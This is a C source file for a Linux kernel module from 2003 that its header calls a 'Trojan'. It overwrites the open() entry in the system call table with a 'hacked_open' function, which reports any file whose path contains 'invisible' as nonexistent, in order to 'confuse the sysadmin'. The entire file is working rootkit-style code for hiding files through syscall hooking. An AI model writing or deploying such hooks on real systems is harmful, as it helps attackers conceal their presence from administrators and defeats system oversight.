/* 
 * Trojan Kernel Module to prevent a special file from being opened
 *
 * License:   GPL
 * Copyright: 2003
 * by Alexander Griesser <kernel-programming@tuxx-home.at>
 *
 * Compile with:    gcc -o deny_open.o -c deny_open.c
 * Insmod with:     insmod ./deny_open.o
 */

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>

#include <asm/fcntl.h>
#include <asm/uaccess.h>
#include <asm/errno.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/slab.h>

MODULE_AUTHOR("Alexander Griesser <kernel-programming@tuxx-home.at>");
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Trojan module to prevent a special file from being opened");

/* Refer to the syscall table */
extern void* sys_call_table[];

/* Keep the old SYS_open function in memory */
int (*orig_open)(const char *pathname, int flag, mode_t mode);

/* Now define what WE do, when open() is called */
int hacked_open(const char *pathname, int flag, mode_t mode)
{
  char *kernel_pathname;

  /* Name of the file we do not want to be opened */
  char hide[]="invisible";

  /* Allocate enough memory in kernel space for further operations */
  kernel_pathname = (char*) kmalloc(256, GFP_KERNEL);

  /* Copy the pathname from userspace to kernelspace, so we can work */
  /* with it                                                         */
  copy_from_user(kernel_pathname, pathname, 255);

  /* If the current pathname matches our file to hide, return ENOENT */
  /* to confuse the sysadmin                                         */
  if(strstr(kernel_pathname, (char*)&hide ) != NULL)
  {
    kfree(kernel_pathname);

    /* return error code for 'file does not exist' */
    return -ENOENT;
  }
  else
  {
    /* If our file is not to be processed, silently ignore the */
    /* request and free the allocated memory                   */
    kfree(kernel_pathname);
    return orig_open(pathname, flag, mode);
  }
}


/* Redirect the SYS_open Syscall */
int init_module(void)
{
  orig_open = sys_call_table[SYS_open];
  sys_call_table[SYS_open] = hacked_open;
  return 0;
}

/* Revert the redirection */
void cleanup_module(void)
{
  sys_call_table[SYS_open] = orig_open;
}